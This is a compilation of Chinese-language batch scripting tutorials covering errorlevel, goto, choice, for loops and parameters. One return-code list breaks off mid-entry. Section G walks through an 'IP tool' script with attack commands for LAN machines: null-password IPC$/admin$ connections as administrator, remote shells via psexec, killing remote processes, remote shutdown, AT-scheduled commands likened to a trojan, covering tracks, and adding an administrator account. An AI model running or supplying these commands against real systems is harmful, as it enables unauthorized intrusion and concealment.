具體的內容會因硬軟體環境的不同而略有差異, 使用這些設備名稱時, 需要保證以下三點:
1. 該設備確實存在(由軟體虛擬的設備除外)
2. 該設備驅動程序已載入(aux, prn等標准設備由系統預設定義)
3. 該設備已准備好(主要是指a: b: ..., com1..., lpt1...等)
可通過命令 mem/d | find "device" /i 來檢閱你的系統中所載入的設備
另外, 在DOS系統中, 設備也被認為是一種特殊的文件, 而文件也可以稱作字元設備; 因為設備(device)與文件都是使用句柄(handle)來管理的, 句柄就是名字, 類似於文件名, 只不過句柄不是應用於磁碟管理, 而是應用於內存管理而已, 所謂設備載入也即指在內存中為其分配可引用的句柄.
==================================
3、if errorlevel <數字> 待執行的命令
很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
==== 注 ===========
返回值從大到小的順序排列不是必須的, 而只是執行命令為 goto 時的習慣用法, 當使用 set 作為執行命令時, 通常會從小到大順序排列, 比如需將返回碼置入環境變數, 就需使用以下的順序形式:
if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...
當然, 也可以使用以下循環來替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e
更高效簡潔的用法, 可以參考我寫的另一篇關於獲取 errorlevel 的文章
出現此種現象的原因是, if errorlevel 比較返回碼的判斷條件並非等於, 而是大於等於. 由於 goto 的跳轉特性, 由小到大排序會導致在較小的返回碼處就跳出; 而由於 set命令的 "重復" 賦值特性, 由大到小排序會導致較小的返回碼 "覆蓋" 較大的返回碼.
另外, 雖然 if errorlevel=<數字> command 也是有效的命令行, 但也只是 command.com 解釋命令行時將 = 作為命令行切分符而忽略掉罷了
===========================
二、goto 批處理文件運行到這里將跳到goto所指定的標號(標號即label,標號用:後跟標准字元串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。
如:
goto end
:end
echo this is the end
標號用":字元串"來定義,標號所在行不被執行。
==== willsort 編注
label 常被譯為 "標簽" , 但是這並不具有廣泛的約定性.
goto 與 : 聯用可實現執行中途的跳轉, 再結合 if 可實現執行過程的條件分支, 多個 if 即可實現命令的分組, 類似 C 中 switch case 結構或者 Basic 中的 select case 結構, 大規模且結構化的命令分組即可實現高級語言中的函數功能. 以下是批處理和C/Basic在語法結構上的對照:
Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if&set&envar... function() / function(),sub()
==================================
三、choice 使用此命令可以讓用戶輸入一個字元(用於選擇),從而根據用戶的選擇返回不同的errorlevel,然後於if errorlevel配合,根據用戶的選擇運行不同的命令。
注意:choice命令為DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?查看用法。
choice的命令語法(該語法為Windows 2003中choice命令的語法,其它版本的choice的命令語法與此大同小異):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
該工具允許用戶從選擇列表選擇一個項目並返回所選項目的索引。
參數列表:
/C choices 指定要創建的選項列表。默認列表是 "YN"。
/N 在提示符中隱藏選項列表。提示前面的消息得到顯示,
選項依舊處於啟用狀態。
/CS 允許選擇分大小寫的選項。在默認情況下,這個工具
是不分大小寫的。
/T timeout 做出默認選擇之前,暫停的秒數。可接受的值是從 0
到 9999。如果指定了 0,就不會有暫停,默認選項
會得到選擇。
/D choice 在 nnnn 秒之後指定默認選項。字元必須在用 /C 選
項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。
/M text 指定提示之前要顯示的消息。如果沒有指定,工具只
顯示提示。
/? 顯示幫助消息。
注意:
ERRORLEVEL 環境變數被設置為從選擇集選擇的鍵索引。列出的第一個選
擇返回 1,第二個選擇返回 2,等等。如果用戶按的鍵不是有效的選擇,
該工具會發出警告響聲。如果該工具檢測到錯誤狀態,它會返回 255 的
ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會返回 0
的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數時,將參數降
序排列。
示例:
CHOICE /?
CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。"
CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。"
==== willsort 編注 ===============================
我列出win98下choice的用法幫助, 已資區分
Waits for the user to choose one of a set of choices.
等待用戶選擇一組待選字元中的一個
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specifies allowable keys. Default is YN
指定允許的按鍵(待選字元), 默認為YN
/N Do not display choices and ? at end of prompt string.
不顯示提示字元串中的問號和待選字元
/S Treat choice keys as case sensitive.
處理待選字元時大小寫敏感
/T[:]c,nn Default choice to c after nn seconds
在 nn 秒後默認選擇 c
text Prompt string to display
要顯示的提示字元串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被設置為用戶鍵入的字元在待選字元中的偏移值
如果我運行命令:CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
屏幕上會顯示:
確認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]?
例:test.bat的內容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批處理運行後,將顯示"defrag,mem,end[D,M,E]?" ,用戶可選擇d m e ,然後if語句根據用戶的選擇作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,批處理運行結束。
四、for 循環命令,只要條件符合,它將多次執行同一命令。
語法:
對一組文件中的每一個文件執行某個特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters
為特定命令指定參數或命令行開關。
例如一個批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
則該命令行會顯示當前目錄下所有以bat和txt為擴展名的文件的內容。
==== willsort 編注 =====================================================
需要指出的是, 當()中的字元串並非單個或多個文件名時, 它將單純被當作字元串替換, 這個特性再加上()中可以嵌入多個字元串的特性, 很明顯 for 可以被看作一種遍歷型循環.
當然, 在 nt/2000/xp/2003 系列的命令行環境中, for 被賦予了更多的特性, 使之可以分析命令輸出或者文件中的字元串, 也有很多開關被用於擴展了文件替換功能.
========================================================================
批處理示例
1. IF-EXIST
1) 首先用記事本在C:\建立一個test1.bat批處理文件,文件內容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然後運行它:
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那麼它的內容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。
2) 接著再建立一個test2.bat文件,內容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
執行:
C:\>TEST2 AUTOEXEC.BAT
該命令運行結果同上。
說明:
(1) IF EXIST 是用來測試文件是否存在的,格式為
IF EXIST [路徑+文件名] 命令
(2) test2.bat文件中的%1是參數,DOS允許傳遞9個批參數信息給批處理文件,分別為%1~%9(%0表示test2命令本身) ,這有點象編程中的實參和形參的關系,%1是形參,AUTOEXEC.BAT是實參。
==== willsort 編注 =====================================================
DOS沒有 "允許傳遞9個批參數信息" 的限制, 參數的個數只會受到命令行長度和所調用命令處理能力的限制. 但是, 我們在批處理程序中, 在同一時刻只能同時引用10個參數, 因為 DOS只給出了 %0~%9這十個參數引用符.
========================================================================
3) 更進一步的,建立一個名為TEST3.BAT的文件,內容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果運行:
C:\>TEST3 A B C
屏幕上會顯示:
XIAO
TIAN
XIN
如果運行:
C:\>TEST3 A B
屏幕上會顯示
XIAO
TIAN
在這個命令執行過程中,DOS會將一個空字元串指定給參數%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,內容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文件拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝文件
然後執行文件:
C:\>TEST4
如果文件拷貝成功,屏幕就會顯示"成功拷貝文件",否則就會顯示"文件拷貝失敗"。
IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。
因此下面的批處理文件是錯誤的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷貝文件
IF ERRORLEVEL 1 ECHO 未找到拷貝文件
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤
無論拷貝是否成功,後面的:
未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤
都將顯示出來。
以下就是幾個常用命令的返回值及其代表的意義:
backup
0 備份成功
1 未找到備份文件
2 文件共享沖突阻止備份完成
3 用戶用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止
diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較
disk
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作
format
0 格式化成功
3 用戶
F. bat文件是用的什麼語言來編寫的
可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創建和修改批處理文件。
bat文件是批處理文件,在DOS和Windows(任意)系統中,.bat文件是可執行文件,由一系列命令構成,其中可以包含對其他程序的調用。這個文件的每一行都是一條DOS命令(大部分時候就好像我們在DOS提示符下執行的命令行一樣)。
(6)bat腳本語法擴展閱讀
可以通過條件語句(if)和流程式控制制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環語句(for)來循環執行一條命令。
當然,批處理文件的編程能力與C語言等編程語句比起來是十分有限的,也是十分不規范的。批處理的程序語句就是一條條的DOS命令(包括內部命令和外部命令),而批處理的能力主要取決於你所使用的命令。第三,每個編寫好的批處理文件都相當於一個DOS的外部命令。
可以把它所在的目錄放到你的DOS搜索路徑變數%path%(詳見後面)中來使得它可以在任意位置運行。
一個良好的習慣是在硬碟上建立一個bat或者batch目錄(例如C:BATCH),然後將所有你編寫的批處理文件放到該目錄中,這樣只要在path中設置上c:atch,你就可以在任意位置運行所有你編寫的批處理程序。
參考資料來源:網路-bat
G. 求腳本(BAT)基本命令
1.「@echo off」--我們所寫的BAT一開始一般都有這一句,這一句的作用是:使所有的命令響應隱藏。「@」--本行命令不回顯。(本來如果你用echo off就可以了,但是還是能夠看到echo off這條命令在CMD下,影響美觀) 2.「color 1e」--設置默認的控制台前景和背景顏色。當前我設為藍底黃字,具體顏色請在CMD下用「color /?」查詢。 --這里又提到了這個參數「/?」,一般CMD下命令後加「/?」就會顯示這條命令的幫助。 3.「rem」--注釋作用,批處理執行過程中前不執行它,rem 後的字元只作注釋作用。
4.「title」--設置命令提示窗口的窗口標題。默認為「cmd」。改成自己喜歡的多有個性,嘿嘿。
5.「cls」--不多說,清屏命令。主要是怕前面的一些空白或字元出現影響美觀。
6.「set」--這個命令的作用很大,請用「set /?」查詢具體使用方法。本例「set topip=172.16.」是將一個名為「topip」的變數值設為「172.16.」。注意CMD下變數的設置不區別數字與字元,能夠自動根據提供的值調整。下行「set theip=0.0」同理。
7.「echo .」--在新行中顯示一個「.」。echo命令能顯示其後的comment。這里提幾個有趣實用的用法--「echo.」,注意與前面的不同,「echo」與「.」間無空格。這條命令如同一個回車,在新行不顯示任何信息並換行。「echo 」,實現響鈴的提示音。後面一個字元的輸入方法是在CMD下用「ctrl+G」,而這個字元得到的方法是CMD下用命令「echo "ctrl+G" >ex.txt」,存入ex.txt文件,再從那裡提取出來的。嘿嘿,如果你懶得做,就我在上面提供的字元嘍。
8.「if」--這條命令也會經常用到,請用「if /?」學習更多信息。本例「if not exist scanipc.exe (echo 文件錯誤!……) 」,實現功能:當同級目錄下不存在「scanipc.exe」時,提示「文件錯誤!……」。否則不提示。「if not exist filename 」在批處理中使用比較多些。
9.「:top」,設置一個標志點,標志名為「top」。「:」的作用就是設置標志。網上有文章說「使用"::comment"作為注釋比"rem comment"執行效率更高。」我相信,這里也建議大家,如果BAT中注釋較多時,請使用「::comment」設置。
10.「set /p pno=」--設置一個變數,並接受用戶輸入。BAT不需要預先聲明變數,只在需要時設置。參數「/p」:將變數數值設成用戶輸入的一行輸入。
11.「if %pno% gtr 9 gotoonerrorspno」--檢驗用戶輸入值是否大於9,是,則轉到一個指定標志點。這里注意BAT中變數引用時要在前後加「%」,但在if語句中可有可無,具體應用大家多寫幾遍就有體會。
12.「goto label」--無條件跳轉到指定標志位並向後執行。BAT好像只有這么一個跳轉語句了,作用不用我說,用了就知道。注意不要構成死循環。
小結:到此,完成了顏色設置、注釋版權說明、標題設置、變數初始化、歡迎信息、功能界面初始化、標志點設置(因為歡迎信息只顯示一次而功能界面要多次使用所以將標志點設置在歡迎信息的後面。)命令的接受與跳轉。;功能界面一般要用「tab」鍵調整相對位置,才能起到美觀的效果。請多練習幾遍領會。;大家在寫腳本過程中要注意標志點的設置位置,才能起到合適的效果。一般寫過幾個腳本會有些感受。;接著接受用戶輸入後「cls」清屏開始執行指定功能。注意這個cls的作用。因為清屏可以在此時,也可以在每個命令執行之前,但如果在每個命令執行之前用的請,那麼要寫的cls就多了,於是把cls寫在這里合適,方便節約快捷。
大家在寫腳本時也應當注意這方面的技巧,將使你寫出更加高效節約方便的代碼。在每次寫完腳本後合理地整合一下自己的代碼。能積累不少經驗。;另外,鑒於部分人仍不知道如何建立BAT文件與運行,請:打開記事本,寫入代碼,保存,保存類型為「所有文件*.*」,文件名為「name*.BAT」。保存後,雙擊運行。因為一般BAT運行很快,所以你可能只看到窗口一閃就消失了,那麼你可以在exit 之前加pause確保能看見運行結果。到此,你應該能夠寫一個很簡單的腳本了,實現一些界面控制。
例1: @echo off color ca title 這是我第一個BAT腳本。 echo 這是我第一個BAT腳本。不錯啊。 pause >nul exit 第二節:(提一些好用的命令)以下設置的都是功能段,在「goto step%pno%」跳轉到相應功能段後,開始執行相應功能。一般命令段: step1:ping命令。(在echo中變數的引用請注意前後加「%」號,否則會導致程序出錯。)我們常用的ping命令:其實很簡單,自己看幫助啦。本句「ping %topip%%theip% -n 1 |findstr 100%>nul」將ping 只發送一次數據包,這樣命令執行起來就快多了,但這樣所會引起一定概率的誤判,而我們在內網這種概率很低,低到可以忽略。所以本人使用參數「-n 1」減少執行時間。將結果不回顯而通過管道命令「|」送給findstr分析,findstr查找是否存在「100%」,並將回顯「丟棄」--「>nul」。因為如果ping一台主機如果返回的結果有「100%」存在說明「不在線。或者有防火牆阻擋。」。所以用findstr確定字元串「100%」的存在性,因為 findstr也有回顯,但我們並不需要,所以將它「丟棄」,使用參數「>nul」將指定命令回顯丟棄。(這一句命令是重點,請仔細領會。)又因為findstr確定指定字元串的存在性後會設定環境變數「errorlevel」的值,所以我們根據「if %errorlevel% equ 0 (command)」,判斷findstr的執行結果就行了,也就不需要有回顯。 「errorlevel」作用很大,一般命令行下的命令執行後都有一個特別的errorlevel,我們就可以根據相應的「返回值」作出相應判斷並執行相應功能。findstr如果找到指定字元串,則有errorlevel=0,說明:IP不在線。那麼既然不在線,我們就沒有向下執行的必要了,直接跳回top界面功能接受下一次指令。如果IP有不同回應,說明在線,則開始檢測共享。「net view \\%topip%%theip%\」--查看指定IP的共享清單。net詳細命令請自行查閱。列出共享清單後返回功能界面。 step2:打開共享一。「explorer \\%topip%%theip%\」,用資源管理器打開指定的IP根。注意語法,其它也沒有什麼。 step3:IPC$空連接。「net use \\%topip%%theip%\ipc$ "" /user:"administrator"」,一個很老的漏洞,但也許內網還有機子存在哩,嘿嘿,語法就是這樣。 step4:一般信息。「ipconfig /all」--用於得到本機的IP與MAC等信息,很好用的命令。語法如示。 「nbtstat -na %topip%%theip%」--用於得到他方機子的一些信息,語法如示。另請自查幫助。 step5:Scanipc。用命令行打開了一個程序而已。在命令行下執行其它命令也就是這樣啦。 step6:返回時間。「net time \\%topip%%theip%」--探測指定機子時間,語法如示。 step7:遠程連接。「net use \\%topip%%theip%\admin$ "" /user:"administrator"」,嘿嘿,administrator空密碼連接。最簡單的入侵啦,嘿嘿嘿。語法如示。 step8:本機信息。跳到另一個功能界面執行相應功能。 step9:高級命令。跳到另一個功能界面執行相應功能。 step0:退出程序。一個exit退出腳本。「exit」,退出CMD。 onerrorsip:實現錯誤提示,並重新執行step1。 onerrorspno:實現錯誤提示,並重新跳轉到功能界面。高級命令段:引用前面已給定的IP,並對其進行一些高級操作。重新繪制功能界面。首先,注意在一個BAT文件中,不允許出現有標志名的重復。 step11:條件連接。設定兩個變數,分別為用戶名與密碼。注意到有一個默認的功能。實現原理是,當接受到用戶輸入為空時(即一個回車),變數將保持不變。條件連接語法如示。比前面遠程空密碼連接更高級一點,嘿嘿。 step12:打開共享。打開已經連接成功的對方計算機的指定盤。打開指定盤語法如示。 step13:發送消息。向對方發送消息。要求雙方的messager服務開啟,否則無法發送成功。發送消息語法如示。 step14:遠程關機。設置關機時間與關機理由,用shutdown程序關閉對方計算機,嘿嘿,惡作劇。要求你連接成功,並有 shutdown程序支持。shutdown語法自查幫助。 step15:溢出CMD。嘿嘿,溢出到對方的CMD下,算是一個真正的入侵了。當然需要用戶名與密碼嘍。要求用戶名與密碼正確並對方默認支持遠程管理。並有psexec程序支持。psexec語法如示,並請自查幫助。 step16:結束進程。嘿嘿,不說也知道,結束對方已知進程。要求連接成功並有pskill程序支持。惡作劇類,有惡意成分。嘿嘿。小心使用。 step17:ipc$連接。同step3. step18:斷開連接。斷開與對方的連接,就是擦屁股啦,以免讓對方有所察覺。這個好習慣要養成。語法如示。 step19:一般命令。返回前面一個功能界面。 step20:結束程序。退出。 step110:AT命令,令對方在指定時間運行指定命令。有點像木馬,嘿嘿。要求連接成功。因為節約變數,所以引用了前面的暫不使用的變數。好習慣。哈哈。 step111:telnet。遠程telnet。不要說你一點都不知道,語法如示並請自查幫助。 step112:更改主IP。主要是為了使我們的使用方便,對某個特定IP段探測能夠簡化輸入。如主IP改成「172.16.130.」,那麼專門對130探測,而且輸入IP時只需輸入最後位,嘿嘿,多方便啊。 step113:任意命令。主要是接受用戶輸入並執行用戶的輸入罷了,結構如示。本機信息段:主要是對本機信息的一些查詢語法。 stepm1:ipconfig,不說了。但請注意到,在功能界面的實現上有一點,「&」符號,因為「&」符號在CMD下是命令連接符,如果光用「&」會讓BAT誤解為其後的都是命令。但我們只是希望輸出一個「&」罷了,於是用「^」符號連接符表明只是輸出「&」,而不是實現命令連接。這里提一下「&」命令連接符,例如:echo frist&echo second.同效於: echo frist echo second. 只是實現結合兩行命令在同一行實現。類如一個很簡單的批處理啦。再提一下「^」符號連接符,對一些特殊符號可能在CMD下無法正確如願顯示,可用「^」連接,以達到如期效果。用了「^」在文本中佔了一位空間,但在輸出時它並不顯示,所以注意界面的布置。 stepm2:本機進程。利用命令行下的進程工具查看進程。要求pslist程序支持。 stepm3:本機用戶。就是查詢一下本機用戶,也許會發現機了被動過的痕跡。 stepm4:結束進程。在命令行下結束本機進程。要求有pskill程序支持。 stepm5:本機埠。也許能看出被攻擊或被入侵的痕跡。語法如示。 stepm6:共享情況。看看本機的共享是否真的如你所想,如你所見。否則請注意安全嘍。語法如示。 stepm7:啟動項值。在命令行下導出啟動項值並給出結果。比魔法兔子什麼的快多了,就是界面不是很好看,呵呵。語法如示。 stepm0:退出程序。退出。小結:到此,您學習過了一些有用的命令與應用。以及大部分的網路命令與外部程序的使用。接下來你可以模擬IP小工具寫出適合更自己的IP小工具哦。注意每執行完一項功能後要用goto返回功能界面,否則腳本無條件向下繼續執行。;errorlevel的應用。在BAT中,errorlevel的作用很大,大家在使用過程中通過多次接觸,感受一下如何玩轉errorlevel。在執行完一個程序後,可以用echo %errorlevel%查看程序運行後是如何設定errorlevel的值。;if的應用。在BAT中,if語句的作用也很大,特別與errorlevel結合實現自動判斷。以及一些基本條件判斷。請查看"if /?" 學習更詳細的說明。;變數的接受與傳遞。這方面的感覺需要大家多寫BAT才能有所感觸。如何合理與高效的應用變數,能使你的腳本更加漂亮。計算機語言都是實踐性很強的,我們學習理論只是基礎,通過大量的實踐才能真正掌握一門語言的應用。 第三節:(一些應用技巧與命令)接下來我們看我的「代理伺服器搜索組件 (ver 2.1)」, 1.「>」與「>>」的區別。 「>」--把指定數據傳送到指定文件或區域。有覆蓋作用,從文件頭開始重寫文件。如指定文件不存在,則新建文件並存入指定數據。 「>>」--以追加方式將指定數據傳送到指定文件或區域。從文件結尾開始寫入指定內容。這兩個功能有區別,請注意選擇合適的傳送方式傳送數據。例如:「echo 文本內容。>link.txt」與「echo 文本內容。>>link.txt」。若本不存在文件link.txt或文件link.txt內容為空,那麼兩條命令的運行結果相同。但如果link.txt不為空,那麼第一條命令將清除link.txt所有內容並存入數據「文本內容。 」保存。而第二條命令只在link.txt的文件尾(另起一行,注意每一個「>>」都會另起一行寫入新數據)追加數據「文本內容。」而以前的內容保持不變。還要特別提一個前面說過的「丟棄」用法「>nul」,因為我們有時候只需要命令的運行而並不需要看到命令的運行結果以及回顯,但這些命令又會出現我們並不需要看到的回顯,影響美觀。故在其後追加「>nul」,丟棄回顯。 2.循環語句的說明。例2: :puship set /p tip= if %tip%==%tbip% goto step1 set tbip=%tip% echo %tip% >>link.txt goto puship 本例中「if %tip%==%tbip% goto step1」與「if %tip% equ %tbip% goto step1」效果一樣。本例的作用是接受用戶帖入數據。關鍵技術在於:因為用戶帖入數據我們不能使用戶每次輸入都詢問是否結束,而需要實現「 智能化」的判斷,但如何以最少的代碼、最簡單的方法實現所謂的「智能化」呢。分析用戶輸入情況:因為一般用戶帖入數據都不會出現重復,所以我們利用這個特點,分析用戶的數據,當用戶帖入列表時,分析數據並將數據存入相應文本,以備後用。當用戶粘帖文本結束後,再加一個回車,因為最後一次變數沒有接受到任何修改,於是保持默認不變(也就是之前的數據。),再通過我們之前的數據備份對照,分析是否不變,是,則跳出循環。這樣,我們通過兩個變數以一個IF比較實現相對簡單的「智能化」。嘿嘿,這一點代碼想了我一個小時。這么說不知道大家是否能理解。請仔細參透例2的技術要點。 3.「FOR /F "eol=; tokens=1 delims=: " %%i in (link.txt) do (set /a Allip=Allip+1>nul)」 這句FOR語句是復雜的雜合語句。首先請用for /?查閱詳細用法,這里不再復述。但是特別要提一點的就是批處理與直接命令行下的CMD的區別在FOR語句上。批處理時,變數引用需要有兩個「%」號,否則無法正確執行,而CMD下不用,只需一個「%」。 「set /a Allip=Allip+1>nul」--實現算術運算,變數Allip的自增,注意大小寫。把回顯「丟棄」。本例實現對文件link.txt內容計數,忽略以「;」開頭的行。這就是為什麼我們在前面要用「echo ;:文本>link.txt」來創建文本的意義所在。 4.「call toping %%i」--從批處理程序調用另一個批處理程序。調用另一個批處理「toping.bat」(因為BAT可以直接運行所以不需要後綴BAT),並有參數傳遞。參數來自於FOR語句的提取。「FOR /F "eol=; tokens=1 delims=: " %%i in (link.txt) 」--從link.txt的每行中提取文本,從每行的開頭第一個字元開始(tokens=1),以「:」界定提取結尾(delims=: )。把提取結果賦給變數i。 5.「type」--在命令行下顯示指定文件的內容。相信大家應該很熟悉,不多說了。注意與「>或>>」的結合使用,或與其它操作符的結合使用。 6.「%1」--在CMD下,一個BAT能夠接受同時9位的參數,「%1~%9」,分別對應給定的參數變數。「%0」,即是文件本身。我們在使用BAT的過程中會經常遇到兩個或兩個以上腳本間需要參數傳遞。那麼請好好掌握這個用法,多說無益,需要大家在實踐中積累經驗。 7.再說一些比較邊緣,但大家比較興趣的命令。呵呵,不要做壞事。 net user admin 123 /add net localgroup administrators admin /add net localgroup users admin /del net user admin /active:yes net user net user admin net user admin /del 「net user admin 123 /add」--添加名為「admin」,密碼為「123」的用戶,如果「123」不寫,則默認密碼為空。 「net localgroup administrators admin /add」--將用戶「admin」加入「administrators」組,嘿嘿,高許可權。 「net localgroup users admin /del」--將「admin」從「users」組刪除。呵呵,因為用戶新加進去時都是「users」組,許可權比較低,所以要從這個組跳出來,保證administrators組的許可權正式發揮作用,如果不這么做,對方系統會默認你的最低許可權。 「net user admin /active:yes」--怕沒法使用沒有啟動,不要緊,激活這個帳號,嘿嘿。 「net user」--看看用戶有多少哦。 「net user admin」--看看剛剛加的用戶信息如何,是否如我所想,如我所願呢。 「net user admin /del」--刪除用戶admin。 -------------------------------------------------------------------------------------------------------------------
H. bat腳本官方文檔
官方或權威的文檔估計沒有。畢竟要寫這些內容很耗精力。官方寫,最多寫點簡單的解釋,權威的不一定能把所有命令語法都寫全。所以還是找些網上別人寫的吧!然後自己慢慢去理解。
I. bat腳本語法幫助
幫助有錯的,比如for,建議看英文版的
先執行command再用
命令
/?
J. bat文件循環語法
bat文件中,for語句可以實現類似於C語言裡面的循環結構,當然for語句的功能要更強大一點,通過不同的開關可以實現更多的功能。
for語句舉例:
@echo off
for %%i in (a,"b c",d) do echo %%i
pause>nul